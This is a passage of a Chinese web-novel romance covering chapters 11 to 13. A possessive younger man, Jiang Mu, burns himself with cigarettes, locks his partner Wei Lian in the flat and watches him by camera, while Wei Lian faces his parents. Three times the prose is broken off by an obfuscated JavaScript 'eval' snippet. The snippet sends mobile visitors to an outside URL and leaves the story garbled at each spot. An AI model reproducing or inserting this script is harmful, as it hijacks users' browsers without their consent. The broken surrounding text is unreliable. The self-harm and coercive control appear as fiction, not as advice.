当初江晖和陈浣一拍板,决定送江宸出国避风头,没有江家的允许不准回来,现在江宸回国,意思是那起杀人案被搞定了? “两年前。”江暮说,“他是偷偷回来的,因为陈浣阿姨心脏不好,那个时候住院了,不知道江宸从哪得来的消息,偷偷溜回来看陈浣阿姨。” “那他为什么拿烟头烫你?”我问,“你又为什么不躲?” “……”江暮忽然笑了,“因为我把江晖在外面又养了情人的事告诉了陈浣,她气住院了。”他说,“这件事上陈浣无辜,但她蠢就蠢在,一直痴心妄想江晖这样一个男人会待她一心一意。外遇这种事,有了一次,就会有无数次,只不过陈浣不信。” 我说:“所以江宸烫你,你没躲?” “那时候江晖也在,江宸让我伸手,说他有一个东西要给我,我本来不想理他,但江宸拿自己是我哥哥这件事来压我,我只能照办。”江暮回忆,“然后他就当着江晖的面把燃着的烟摁了下来。” 我厌恶道,“这对父子实在是……” 江暮说:“之后其他的伤疤就是我自己弄的了,因为我讨厌江宸这种垃圾在我手上留下印记,就用很多个来掩盖了。” 我被他的逻辑思维震惊到了:“……你恋痛吗?这么多个疤,你怎么能一次又一次下得去手的?” 江暮支支吾吾道:“我不恋痛,我是,是这样做的时候,总会想起你。” 我疑惑:“跟我有什么关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087950|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “……你徒手掐灭过烟的,哥忘记了吗?”江暮说,“以前看到的时候觉得很帅,后来你不肯见我,我用烟头烫自己手心就会想起你。” 我心中升起一股难以言说的愤怒,推开他失望道:“江暮,你这样对你自己,究竟有什么意思?” 江暮被我推的退后两步,不可置信的看着我,半晌他说:“我不明白,魏敛,我不明白。” 我见他还敢顶嘴,怒道:“你不明白什么?我看你不是很明白吗?!” “只准你伤害自己,不准我也这样做吗?”江暮直勾勾地凝视我,也大声道,“你离开的这三年你轻松快活了!我一个人,我一个人……我一个人面对他们,有时候我很想你抱抱我,哪怕是像对待宠物那样摸一摸我也好过……” 他咬紧牙关,哑声道:“也好过丢下我一个人。” “我拿烟头烫自己的时脑海里总会十分清晰又真实的想起你——压力太大时候我迷恋这种感觉,魏敛,你现在为什么要因为这个责怪我?” “我有无数个办法可以将你从疗养院里弄出来,但我怕你会因此病情加重,所以我硬生生忍了三年,魏敛,你还想我怎么样?” 没错,没错,你说的或许都有些许道理,我回答:“……去哪里待着,是我的自由,你本来就无权插手。” 江暮兀的笑了,他点头:“对,你有你的自由,我也有我的自由,所以你不能否定我的自由。” 我脑子里闪过一个可能:“难道你精神也出问题了?你有去看过心理医生吗?” “你在我身边我就正常了。”江暮说,“你离开我的话,除了以后大概会活的短些,那也没什么不正常的地方。” ……那已经很不正常了。我很头疼,我没想到江暮会偏执到如此地步,需要用痛觉产生的幻想来缓解自己的压力。 江暮深呼吸了几下,似乎在平息自己的情绪,不一会儿他就笑眯眯的如常道:“魏敛哥,我们不要吵架了,以后我不会再这样做了,因为你回来了呀。” 争吵是没有结果的,因为江暮有无数个理由来说服我,毕竟我也从没有资格在伤害自己的这个角度上去指责他。 或许是饿了,我和江暮最终偃旗息鼓,窝在沙发里在软件上挑着外卖,江暮靠在我的肩膀上,划着屏幕,示意我这家店:“这个可以吗?你想吃吗?” 我调着电视,瞟了一眼,是我以前经常吃的那家:“行。” 江暮说:“明天早上我去超市买点菜,你在家等我,好不好?” “明天又不去公司?” “因为最近不怎么忙。” 我戳破道:“不是才说这几天忙到很晚才回家?” 江暮噎了下,抓住我另一只空闲的手往他睡衣里伸,我抽回来,无情道:“没空。” “那……晚上呢?” “没心情。” “……”江暮看了一眼我弟弟的位置,“……魏敛哥,你不行了?” 我气笑了,顺着他的话说:“嗯,对,不行了,再也做不了了。” 江暮突然来了劲,他起身坐在我的腿上,挡住我看电视的视线,眼睛亮晶晶的:“那我来吧?” “哈。”我几乎是没有任何思考的这样笑了出来,“你在做梦吗?” 江暮趴下来抱住我的脖子,在我耳边小声说:“……那我买点道具吧?只要是你,用什么我都接受。” 我无法了,拍拍他的后脑勺:“等我有心思了,会抓着你做的。” “那有心思是什么时候啊?” “看我心情。” 江暮叹了口气,又拿脸蹭我的脖子,说:“好吧。” 翌日起来的时候江暮已经出门了,我想着下楼溜达两圈,结果发现竟然打不开门。 我不信邪,又试了一次,发现门把手丝毫不动。 我:“……” 11. 出院 你们以为这就完了吗?我转身抬头,看到正对门口的墙上悬挂一个正在闪烁红光的监控器,简直要开口称赞江暮想得周全。 我在原地站了两秒,平了平心里的情绪,在考虑是否要拨打消防救援电话时,门从外面打开了。 江暮拎着两个袋子,见到我站在玄关,似乎是读懂了我脸上的表情,他有些心虚的把袋子放在旁边,弯下腰换鞋,我帮他把两袋东西提到了厨房,江暮默不作声地跟在我身后。 我说:“解释。” “......” “江暮。” 江暮却埋怨:“不要用那种那种语气和我说话可以吗?哥哥。” 我瞥了他一眼,我并不能知道这时自己的表情是如何的,但江暮整个人害怕的发抖起来,这样的害怕让他把身上的刺竖得更尖锐,他说:“在精神病院呆了三年可以,在我这呆一天就呆不得?” 很奇怪,任何人听到他这样说话都应该大发雷霆,我却像是提前预知了江暮不会说出什么好听的话:“你打算和我吵架是么。” “......不想。” 我的手背轻轻拍了拍他的脸:“那能不能好好说话。” 江暮清楚的听到手指拍打他脸颊的声音,或许因为不痛,又或许是因为别的什么,他抿抿唇,小声道:“能。” 我说:“下不为例。” 江暮低下头:“......嗯。” “明天去公司上班。”我对他的工作操心道,“你还年轻,还没在江氏站稳脚跟,又是正忙的时候,一直在家呆着不像话。” 江暮突然说:“我下个月要跟着江晖去m国视察分部,要去一周。” “然后呢。” “......”江暮忐忑道,“和我一起去吗?那段时间正好有位很有名的艺术家正在开个人艺术展,是你喜欢的那位。” 他记得我很多年前跟他提过一嘴这位艺术家,便一直替我留意着,想哪天和我一起去看他的个人展。可惜等待的时间太久,这位艺术家在今年年初于家中突然病逝,这次个展他生前陆陆续续筹备着,身后也只能由后人接手代办。 江暮觉得意义非比寻常,怕我遗憾,便想邀请我去看。 我喜欢的艺术家很多,因而这种喜欢并不怎么值钱,更不会在疗养院里特意关注消息,便不知道这位大师已死的新闻。 于是我委婉的拒绝了:“我有我自己的事情要做。” “什么事?” “目前暂时还没想好。”我说,“而且我m国签证正好到期了,现在续签也不一定来得及。” 江暮又不说话了。 “别太粘着我。”我像是要报复他的所作所为,故意道,“会让我觉得很烦。” “......” 江暮没有再顶嘴,沉默了好一会儿,轻声说:“知道了。” 他这副样子,又让我有些后悔,这种后悔让我感到身体不大舒服,挽救道:“我只是想让你坚强些,不要像个小孩一样在心理上太过依赖我。” “魏敛。”他忽然叫我的名字,“你不在的这三年里,他们都刁难我,但我每次都很好的处理过来了。在生活上我并不是一个需要别人照顾和包容的孩子。” 倒不如说,除了魏敛,他这一生从没有被别人宽容过,“魏敛哥,我就是想和你呆在一起,就只有这样一个理由。” 他想,我可能实在太爱你,以至于变得这般卑劣不堪丑态百出。江暮很多时候并不想说这样的话,做那样的事,可嫉妒和惶恐让他像变成了另一个人。 这是他的过错,过错反复上演,江暮也告诫自己数次,而下一次仍然如此循环往复。 我不想和他讨论这件事了,我尝试逃避江暮对我的依赖,好让我与他之间的联系不必太过紧密。幸运的是江暮情绪来的快去的也快,他懂得此时不应该再咄咄逼人,感谢他还能体谅我是个患者,不能受太大刺激。 “你不想去就不去吧。”他看出来我不想听他说那些令人颇有负担的话,停止了这场讨论,“什么时候回去见阿姨叔叔?” “都在外地,等他们有空了会叫我回去的。” “这个月你们能见面吗?” 我听懂了他的言外之意:“你想跟我一起回一趟家?” 江暮小时候会来我家玩,虽然次数不多,但身份摆在那,施微女士对此很是重视,还告诫我不要教坏小孩,比如说抽烟,我表示双手赞同,毕竟我虽然烟瘾很厉害,可看到小孩抽这种东西,还是会忍不住摆起长辈的架子。 江暮闻言道:“想啊,你同意吗?” 我说:“你想以什么身份去我家。” “......朋友。”江暮退让道,“玩的不错的朋友。” 我说:“如果你去我家是想刷他们好感度的话,我劝你不用费这个功夫了。他们人精得很,不吃这一套。” 江暮接二连三遭到拒绝,脸色也有点难看起来,看了我一会了儿,似乎在探究自己是否有讨价还价的余地,未果,他像是接受了现实:“......哥,你真的一点都不喜欢我吗?” “如果我说是呢?”我道,“我们确实不太合拍,你长大了,有自己的主见和想法,我们之前的相处方式已经不合适了。” 江暮想要是今天自己没有出去就好了,他要是老实待在家就好了,食材可以送上门,自己为什么偏偏要觉得亲自挑的会更好呢?哪至于现在这个局面。 他说:“对不起,魏敛。” 他的道歉来的太快,我愣了下,又反应过来他只是道歉:“……你错哪了。” 果然江暮仅仅是重复了一遍:“对不起,我错了。” “你认为把我关在家里,安监控监视我,是正确的吗?” 江暮反而奇怪道:“可是你明明知道我压根关不了你。”他做了这件事没错,但这件事本身就没有结果,它是一个短暂性的行为。 我没办法理解江暮的脑回路:“结果重要吗?重要的是你做了这件事。” “结果很重要。”江暮在这一点上没有附和我,他过往的经历带给他一贯的经验——那就是结果往往比过程更重要。他的妈妈和江晖相处的过程难道不幸福吗?可结局却是那般,那般——江暮真诚道,“魏敛哥,你可以为此生气,但不要在这件事上较真可以吗?下次我不这样就是了。” “……”我想我可能有点动怒了,“江暮,你真的很有惹我不爽的天赋。” 江暮不想让我生气,他担忧我的身体,立马说:“对不起,我的错,下次不会这样做了。” 我感觉到自己更恼火了。 他弯腰捡起地上的袋子放在灶台上,从里面拿出今晚的食材,一个个的摆得十分工整,最后将空袋子叠好,丢进了垃圾桶里。 江暮若无其事道:“好久没做饭了,红烧肉可以吗?” 江暮与我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087951|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆中的那个乖巧孩子相差甚远。那时候我和他吵架的次数寥寥,甚至可以说没有,唯一一次是在他二十二岁生日,六月,a市正巧入梅,接连不歇的大雨下了许多天。 那是我第一次见江暮大声质问我的模样,他平日在我面前讲话的声量像是有把标尺,过了刻度就要警告。 因此,我可能…我可能愤怒于他的愤怒。愤怒他的不体谅,愤怒他的不忍耐,愤怒他突如其来的反抗,我潜意识里认为江暮会一直善解人意到我释怀自己没有救下孙伊佳的那天。 所以像一个真正丑陋的疯子,将拳头对准了一个比我小五岁的孩子,更让我无法接受的是,江暮哪怕要喘不上气,也没有阻止我的行为。 他只是哭着看我。 我也从他黑沉的眼珠里,看到了一个狰狞的‘魏敛’。那是我吗?还是别的人? 我这辈子最后悔的事情,是没有出钱给燕之琪治病,而是将江晖的电话给了江暮,这是我永远也无法原谅的事。假如我能在江暮鼓起勇气,向一个才认识了没几天的陌生人借钱的那一刻,答应说好,故事应该不会发展成这样。 燕之琪不会上吊自杀,江暮不会回到江家这个吃人的地方,更不会喜欢上我。 很多事情,我都做错了。 想到这的时候,我似乎有些惊醒——魏敛,你在想什么?你一开始只不过是在想江暮或许真的长大了,有自己的主见,怎么能一步步推演到自己身上的。 “魏敛哥?”江暮担忧的看着我,“你脸色很不好,要去休息一下吗?”他怕是自己做的事让我这样,也不管主意不主意了,说,“监控早在我住进来后就安了,真的不是拿来监控哥的。”他顿了顿,“锁门是因为……因为我实在没有安全感,你才回来,我很怕……我没打算关住你。” “我是长大了,有一些自己的看法,因为我必须要有主见,否则会在江氏被那些老东西推着走。”江暮解释,“但那些只是习惯,不是原则,哥,你知道的,在你面前我没有原则。” 江暮接连说了一大堆话,末了小心翼翼的牵住我的手,轻声道:“……不要生我的气,好不好。” 我沉默了会儿,问了一个显而易见的问题:“你不厌恶我曾经对你动过手吗?” 江暮愣了下,没想到自己说了一大堆,结果我问的却是这件事:“……动手?是说三年前你掐我脖子那次吗?” “嗯。” 江暮非常无所谓的笑了:“那算什么?妈妈生气上头的时候打我都不止这些呢。”他放下心,凑过来飞速的亲了我一口,满足的弯了弯眼睛,“你再来一百次我也不在乎,所以你不要为此烦恼了。” 那一刻,我并没有觉得被宽恕,反而像迎来日照的吸血鬼。 江暮总说我待他很好,我拯救了他。他到底明白吗?还是因为这一生鲜少受过善意的帮扶,从一开始我对他不过是上位者对下位者怜悯的施舍,因而即使到了我们的关系可以平起平坐的时候,我仍然将他视为那个永远低我一处的,胆怯懦弱的农村小子。 他必须善解人意,必须体谅我的难处,必须等待而不能催促,一旦严重违反,就要受到惩罚。 牵手需要看我脸色,接吻需要征得同意,讲话需要时常斟酌,当意见相歧,江暮理所当然要退让一步。 现在回想起来,我有真正迁就过江暮什么吗? 我突然产生一种强烈的自我怀疑——我真的喜欢他吗? 12. 回忆 “哎......可怜哦。”魏嘉昊从江家回来后,吃饭时突然在饭桌上来了这么一句。 施微奇怪的看了他一眼,问咋了,咱们魏教授文青病又犯了? 魏嘉昊说:“江晖喊我去他家下棋,见到了那个才领回来的孩子,看起来豆丁点大的小家伙,一问竟然都要初三了,瘦得很,手腕就这些宽。”说着魏嘉昊拇指和食指比了个小圆圈,“以前过得也不知道有多差,来到了新家都不敢说话。” 施微恍然:“毕竟是流落在外的私生子,要不是江宸犯了事,这孩子估计一辈子也不会被认回来。” 魏嘉昊点头:“所以说他可怜嘛......主要陈浣不乐意,我瞧她对这小孩颐指气使的。” 施微和陈浣偶尔会出去逛逛街,称不上交情,毕竟家世差距太大,可也不允许魏嘉昊这般嚼人舌根:“陈浣那可是实打实的受害人,人家本本分分的结个婚,早些时候也帮了江家不少,我看说到底就是江晖这个人面兽心的东西不懂得老实,还接了私生子回家往继承人培养,叫人家陈浣的脸往哪搁?” 她敲了敲魏嘉昊的碗,“你少在这件事上往我跟前说她的错处,我耳朵听了不大爽利。” 魏嘉昊哎了一声:“我又没说江晖没错,只不过接私生子回来怪得了谁?还不是她溺爱自己的宝贝亲生儿子,溺爱到儿子弄出人命来了,那没法子只能送到国外先避一避。” “怎么,江晖就是个死的,教育小孩就是陈浣一人的错?” “好好好,你是律师,我讲不过你。” “你少阴阳怪气,倒是你,人是越发老派了。” 魏敛对他们的争吵见怪不怪的往嘴里塞了一筷子菜,淡淡道:“菜冷了。” “小敛啊,你说说,你老爸我讲的有没有错?” 魏敛说:“没错。” 施微怒目横眉:“哈?” 魏敛又说:“妈你也没说错。” 施微气略顺下来,魏敛则叹了口气:“只是,就非要在吃饭的时候嚼别家的那点事吗?” 魏嘉昊咳嗽两声:“那不是就随便提了一嘴吗。” 魏敛又说:“对了,刚才你们说的那孩子——江暮,过两日想来找我玩。” 施微和魏嘉昊互相看了一眼彼此,从彼此的眼睛中看到了疑惑:“他为什么要来找你?你和他有什么交集?” 魏敛思考了会儿,决定还是将下乡那段时间的事情和盘托出,总结道:“其实我要是给他十万,可能后面就没那么事了。” 施微立马不赞同:“这跟你没关系,江晖想要接他回来,迟早会找上门的,再说了,你只是给了他电话号码,联不联系的权力在他手上。” 魏嘉昊点头:“对啊小敛,何况这十万又不是十块,哪能说给就给,你的做法完全没问题啊。”他拍拍魏敛的肩膀,“少想那些有的没有。” 施微笑道:“我看啊我们儿子就是看着凶,其实乖得很呢,见了什么都心软。哎老魏,你还记得小敛他高中的时候跟着我们律所的那些搞诉讼的新人去法律援助吗,见到可怜的想要当场转钱来着,被带队的小张拦下来了,劝了一通小敛才罢休。”她说,“后来小张回来和我说这个事,我听了直乐。” 魏敛习惯被自家父母打趣,神色如常接道:“我就是一旁观的,法盲一样,所以只会掏钱了。”钱不是他赚的,最后也没掏成,“对了,江宸他这一躲要多久?” “可能两三年,可能四五年,谁知道呢,低调一点,等风头过去,先别回国。陈家那位老爷子人脉广,都卖他面子,说不定能把人保下来。”施微说,“江家出钱陈家出力,我看啊......”她话没说完,但魏敛也差不多明白了。 他滑雪回来后,江暮黏他黏的紧,除开每天都要给他发消息外,还问他什么时候再带自己去兜风,他还想坐他的那个宝马什么什么,叽里咕噜的,话匣子没停下来过。 这就是小孩吗。魏敛回忆,自己在他这个岁数,有这么吵吗? “你谈恋爱了?”孙伊佳约他去攀岩,要知道她已经做好了充足的准备,这次一定能打败魏敛,结果竟然得到了拒绝,“喊你攀岩也不去,这段时间你看手机的频率好像比以前多啊。” 魏敛懒得动窝,又应了江暮的约,说等会儿接他过来家里,这会儿闭目养神,瘫在沙发里连眼皮子都没抬,懒洋洋道:“放屁。是江家那小子。” “哦哦哦......嗯嗯嗯?”孙伊佳反应过来,“江暮吗?这小孩也太喜欢你了吧。”她还记得当时江暮追着大巴跑,她看了都不免震惊。 魏敛撩起一只眼睨她:“小孩缺爱而已,你就是那时候太避嫌,要是多和她说说话,他指定更黏你。” 反正魏敛一直是这么想的,孙伊佳性格比自己开朗,人也落落大方,何况女性天生更能让人感到亲近,自己性格就不说了,长相看起来实在不像个好相与的。 “你要不去攀岩了,可以跟我去一起接他,现在人家身份转正了,你不用担心陈浣看不惯。” 孙伊佳其实挺可怜江暮的,这下没了顾虑,略一思索便答应了:“行啊,那小子在哪?我跟你一起去。” “他在家。” “行,他家——不对,他家不就是江家吗,这不是在同一个小区吗?”孙伊佳说,“他直接过来不就行了。” 魏敛打了个哈欠:“他怕迷路,弯弯绕绕的也不好找。” “然后你就答应了?” “不然呢?我不答应这小子又该偷摸掉眼泪了。” 孙伊佳啧啧称奇:“能使唤的动你,这小孩也不简单。” “不简单?”魏敛失笑的反问了一句,倒也没补充什么。 等见到江暮扑到他怀里的时候,心想确实是一个不简单的缺心眼。 “魏敛哥!”江暮喜悦的抬头,“你真的来接我了。” 魏敛摸摸他的头顶,问:“钢琴课结束了?” 江暮点头:“今天陈浣阿姨和......爸爸都不在家。” 江晖应该是在公司,陈浣大概回娘家了,为了江宸的事她近日总是要去陈家求老爷子。 江暮还是那样瘦小,似乎来了a市,优渥的环境也没能让他长得更壮实些,可能还需要些日子才能养回来。孙伊佳在旁边咳嗽两声,江暮这才注意到旁边还站着一个人。 他愣了下,然后惊喜道:“孙伊佳姐姐!” 孙伊佳也有点开心:“呀,你还记得我啊小不点。”她没指望江暮能记住她的名字,但江暮竟然脱口而出,这不免让她颇受感动,心下更对之前自己单方面的疏远而唾弃。 她愧疚的开始搜自己身上所有能放东西的地方,魏敛说:“身上痒就去洗澡。” 孙伊佳骂骂咧咧;“你真是狗嘴里吐不出象牙。” 她是想看看身上还有什么东西能当见面礼送出去的,可惜找了半天,除了手机什么也没有,尴尬道:“江暮弟弟,姐姐欠你一个礼物,下次给你补上好吗?” 江暮困惑的向魏敛求助,不明白为什么要送给他礼物,魏敛说:“这时候只需要说谢谢姐姐就可以了。” 江暮很听魏敛的话,闻言立马弯腰鞠躬:“谢谢姐姐。” 孙伊佳听了十分受用,连站姿都文雅了许多,她大手一挥:“今天所有花销我请。” “孙姐大气。”魏敛看了一眼江暮,江暮也忙学着说,“孙姐大气。” 江暮想要去他家玩,不过魏敛家没什么有意思的。施微和魏嘉昊对装潢要求不高,事业又风风火火,更没什么小资的生活情调,再者魏敛也觉得有个卧室能睡觉就行,导致偌大的别墅经年来都空落落的。 魏家的住所魏敛的奶奶出了很大力气。他的奶奶是书香门第,而爷爷早年出海经商赚了不少,家境十分富裕。两人结婚后倒也过了段甜蜜的日子,可惜魏敛的爷爷是老一派思想,不将精神疾病当一回事,以为自己是中了邪,还主动喝符水,直到中年病发,走得太早。魏嘉昊几年前被评上了昌江学者,风头正盛,也算是将书香门第继承了下去。 孙伊佳建议去她家,她家有酒馆和咖啡吧,她可以给江暮露一手,喝完了呢还可以去家庭影院看电影,如果想外出,她还能带这小孩去她常去的马术俱乐部。 结果江暮说:“谢谢伊佳姐姐,但是我想去哥哥家看看。”江暮好奇魏敛的家是什么样子,其他的都不感兴趣,委婉拒绝了一番孙伊佳的好意。 “......好吧!”孙伊佳挫败,“魏敛,你还说你没给他下药,这哥哥哥哥的都叫起来了。” 魏敛莫名其妙:“我一句话都没说呢,关我什么事。”又对江暮说,“你孙姐说的对,我家很无聊,连游戏机都没有。” 江暮没说话,只是抬头盯着魏敛,那可怜巴巴的眼神看得魏敛嘴噎,想要让他换个地方玩的话头止住:“......也行,想去我家看看就去吧。” 后来几年江暮仍然爱用这个法子,因他发现魏敛就是典型的吃软不吃硬。他不爱卖弄可怜,自己童年虽说不上有多幸福,但他自认为也没有坏到哪里去。不过魏敛却不这样认为,于是他便顺着魏敛的意思来。 所以在他们大吵一架之前,魏敛一直觉得江暮很乖,且需要人照拂。江暮是一个不敢随意提要求,连拒绝的话都不敢说出口的孩子——在魏敛面前,至少那时的江暮一直如此。 江暮来到江家后,学习了许多之前从未知道的东西。江晖并没有给他喘息的机会,他需要江暮像个贵少爷,而非农村的野孩子,一丁点的乡野气息都不能拥有,哪怕是轻微的一缕鼻息。 他已经有个一个失败的儿子,失败到极点,以至于必须主动打破自己对外宣传的‘爱妻’形象接江暮回来。既然如此,江暮就应该弥补之前的失败,延续江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其实不是口吃,只是魏敛有时候不怎么爱说话,连拒绝别人表白的时候都惜字如金,显得格外无情冷漠。偶尔有熟人在身边,见到表白的人那副惨败模样,实在看不下去,就只能玩笑般的缓解现场尴尬的氛围:“哎呀,魏敛他讲话多了就容易口吃,不是故意这样的,你别介意。” 魏敛通常默认的点头,毕竟有人替他打圆场,何乐而不为呢。 “n国好玩吗?”江暮突然问。 魏敛回:“你想来的话,下次带你来。” 江暮没有把魏敛的话当成客套话:“下次是什么时候?” 大概是江暮的较真传染了他,他也思索起来:“等你高考完吧。” 高考完这个时间点总让人感到靠谱,好像所有有关于亲自感知世界、认识世界的梦想,都能在高考后得到实现,魏敛这句承诺给了那时的江暮许多安慰:“好啊,那魏敛哥到时候一定要带我去。” 魏敛操起长辈的心:“你乖一点,好好学习。” “我很乖的,没有惹事......魏敛哥你什么时候回来?” 魏敛听完想,确实很乖,江晖和陈浣不应该这样对待一个刚丧母的孩子。 不过时间通常会改变人,譬如看似唯唯诺诺的江暮,能变得十分强硬且严谨,书桌上的书必须摆正,扣子必须扣到最上面那一颗,他需要做到滴水不漏才能使江晖满意,因此连自己都开始强迫的纠正自己,最后将最初的错误也一并纠正——亲手将江宸送进监狱里。 再譬如魏敛,魏敛究竟是怎样的人,连他自己也不大清楚,毕竟很多时候浑浑噩噩的一天就过去了。 但如果约定见面的时间是十二点,那么他会在十一点的时候开始准备出发,在换好外出的衣服后或许感到略微口渴,于是去做了一杯咖啡,喝咖啡时脑子里灵光一现,又跑去画室囫囵地描出一个大概轮廓。 通常等见到人,已经迟到了半个多小时——不过这个人基本上定死在江暮身上,因为魏敛也不是爱给别人添麻烦的性格,相反,他十分独立自主,如果他愿意的话,他甚至能变得极其靠谱——十几岁的江暮深有体会,二十多岁的江暮又得到了另一份特殊待遇。 靠谱的魏敛和随意的魏敛,江暮都是得到这份待遇的首选,所以即使魏敛几乎不对他说‘爱’,他也不心灰意冷,仅仅是他肯定自己拥有的待遇是独一份的。 听起来有些可怜,在魏敛知道江暮是这样想的时候,没有任何思索地脱口而出道:“对不起。”他并没有给予江暮明显的爱意,导致江暮需要寻找这样的细枝末节去肯定这份感情。 江暮显然愣了下,连忙说:“为什么要对不起?哥不用说对不起。你能愿意和我一起一直生活下去,我已经很开心。” 然后魏敛捧住江暮的脸,珍重地亲吻他的嘴唇,他说:“江暮,我爱你。” “......” 很可惜,江暮千万遍说过没关系,自己可以忍耐,魏敛能够陪自己过完这一生就足够——只不过闭上眼睛,眼泪还是这般不受控制的流了下来。 就在他眼泪珠子一样掉下的时刻,魏敛才恍然大悟,其实无论过了多少年,他们经历了多少事,江暮从来都是那个,追在大巴车后面跑,希望他不要走,迫切渴望爱的——迫切魏敛的爱的,那个孩子。 13. 出院 我真的爱他吗?宛若咒语的一句话在我脑海里盘旋许久,或许在此之前,我坚定不移的认为我爱江暮,抛弃他去精神病院呆着是因为我伤害了他,我怕自己继续伤害他,所以不顾他的哀求与挽留。 可是,我这样的做法才是最最伤人的方式。江暮认为我忘不了孙伊佳,所以才会这样做,诚然,我忘不了孙伊佳,只不过那是一种愧疚,我与她一同长大,她是最先发现我精神出现了问题的朋友,也给予了我十分坚定的肯定与支持。 但在她出事时,我却只能说几句肤浅的安慰,连她的异样都未能察觉,如果我能发现她轻生的意向,哪怕说一句:你的妈妈更愿意你幸福的生活。恐怕也比一言不发的目送她远走要让我好受得多。 抑或是我能在江暮在疗养院病房门外,哭着哀求我出来见他一面时,答应他的请求,并且告诉他,我其实是打算独自休息一段时间,没有讨厌你,你不要自责,我只是讨厌我自己。 实际上我什么也没有说,我用沉默和背影逼疯了一个人,好像我痛苦了,江暮也要陪同我承担相同重量的痛苦。 多做多错,可什么也不做也是一种隐形的错误。 “这次回来,应该是安分了吧。”施微和魏嘉昊难得统一战线,两人严肃的看着我,“不求你这辈子能做出什么惊天动地的成果来,但不能一事无成。你快三十了,爸妈有些时候也忧心你的未来。” 其实我在精神病院呆着的时候也没闲着,向外卖出了一些画,不过确实挣得没花的多就是了。即使我这辈子永远花天酒地下去,家里仍然供得起我,不过或许是自己大概还有自尊,这样的岁数很难心安理得再这样颓废下去。 我并没有告诉爸妈我的精神状况,我相信自己能够处理好这件事,他们大概一直以为我这三年是为了艺术灵感才去的精神病院,他们只能这样猜测,毕竟我什么也没有透露。 “我和江暮在一起了。”我顿了顿,“可能会在一起一段时间,如果以后分手,我也不会和别人在一起,男的女的都没兴趣。”我向目瞪口呆的二老解释,“以后不会和任何人结婚,不是因为我太爱他,是因为,我喜欢一个人呆着,那样会让我轻松些。” 魏嘉昊打断道:“等等......等会儿......你什么时候和他在一起的?” 我说:“五年前。” 施微不可置信道:“五年前?!” “嗯。”我撒谎道,“我表白的他,他答应了,然后我们就在一起了。” “我以为你喜欢的是伊佳那孩子......”魏嘉昊提起已逝的孙伊佳,“她死的那段时间,你魂不守舍的,我们都以为......哎,老婆,怎么会是江暮?” 施微突然猛地站起来,她说:“江暮不行,你别招惹江家。” 我理解的点点头:“我知道,江暮得结婚。所以以后我们会分手的。” “以后的事谁说得准?!”施微不吃以后这一套,“你现在就和他分手!” 我沉默着没回答,魏嘉昊叹气:“你这三年连家都不回,我们想着尊重你的意见,就作罢了。你如果真是喜欢男人,我和你妈妈也不是那种封建的家长,只是江暮身份如此,我们不可能支持。” “......我和他说过分手,只是他不同意,我最后也没忍心。” 施微一口气不上不下:“你说你招惹江暮干什么?你甚至还主动和他告白,你,你——你比他大五岁啊!”她跌坐在椅子上,捂着额头,“造孽,造孽啊......” 魏嘉昊着急道:“你现在就和那孩子提分手,快去!” 他掏出自己的手机,里面存了江暮的电话,之前我在精神病院住的那三年,江暮过节时总会过来送礼,说是离得近,魏敛哥又跟他亲哥哥一样,于情于理都应该前来拜访。久而久之连魏嘉昊都存了江暮的私人电话,“你拿我电话去提分手,就和他说,是我们不同意,我们来当这个恶人!” 和父母坦白之前我就已经预料到了现在的情况,心下甚至松了一口气,好像有了他们的反对,才会将我心中出尔反尔带来的愧疚和自我厌恶消磨一部分。 他们见我不说话,却也没出言反对,知晓我已经松动,干脆拨了江暮电话,江暮今天去了公司,连续堆积数日的工作,总助的消息已经要将江暮的手机填满,现在他估计正忙,电话响了很久才被接起来。 “魏叔叔?”江暮的语气似乎有些惊讶,“发生了什么事吗?”他记得今天我回家见父母了来着。 魏嘉昊声音沉重道:“魏敛,你和他说。” 江暮心下一惊,看着身前的会议室,停下脚步,他捂住话筒,对助理道:“......会议延迟,具体什么时候等我通知。” 幸好只是一次小型会议,助理暗自松了口气,近来江总好像事态频发,让她这个助理苦不堪言:“好的江总,我去通知与会人员。” 江暮快步走到电梯里,摁下自己办公室所在楼层,忐忑道:“魏叔叔,魏敛哥怎么了?” 施微的声音从话筒里传来:“江暮,你是个好孩子,是我们对不住你。” 江暮闻言浑身发冷,在电梯门发出‘叮’的一声提醒他已到达目的楼层时,他几乎幻觉那是索他命的响铃,他扶着墙,不知道自己是怎么回到办公室的,逼迫自己发出礼貌的笑回应:“施阿姨这是哪里的话,我们之间哪里有谁对不起谁......” “小敛他真是学了个艺术,把脑子学坏了。今天回来和我们说,他和你早在一起了——当初他和你告白,实在是他的错,你还小,分不清什么是真感情,他又不懂事,可我们哪能让他这样磋磨你的年岁下去——”施微开口便是让人无可指摘心服口服,江暮却心慌的双腿发软。 他愣愣道:“......施阿姨,不是的,是我——” 我在一旁听了许久,终于打断了他的澄清:“江暮,对不起,我本来想得到爸妈的祝福,因此擅自将我们在一起的事情和他们说了。” 江暮听到我的说话,心里总算安定一点:“哥,叔叔阿姨应该是理解错了,你快和他们解释。” 我说:“江暮,我觉得我爸妈说的有道理。所以我反悔了。” “......”江暮一阵头晕目眩,不对,他只是今天离开了一会儿,怎么会听到这样的话,还是说他其实没有睡醒,“哥,这个玩笑不好笑。” 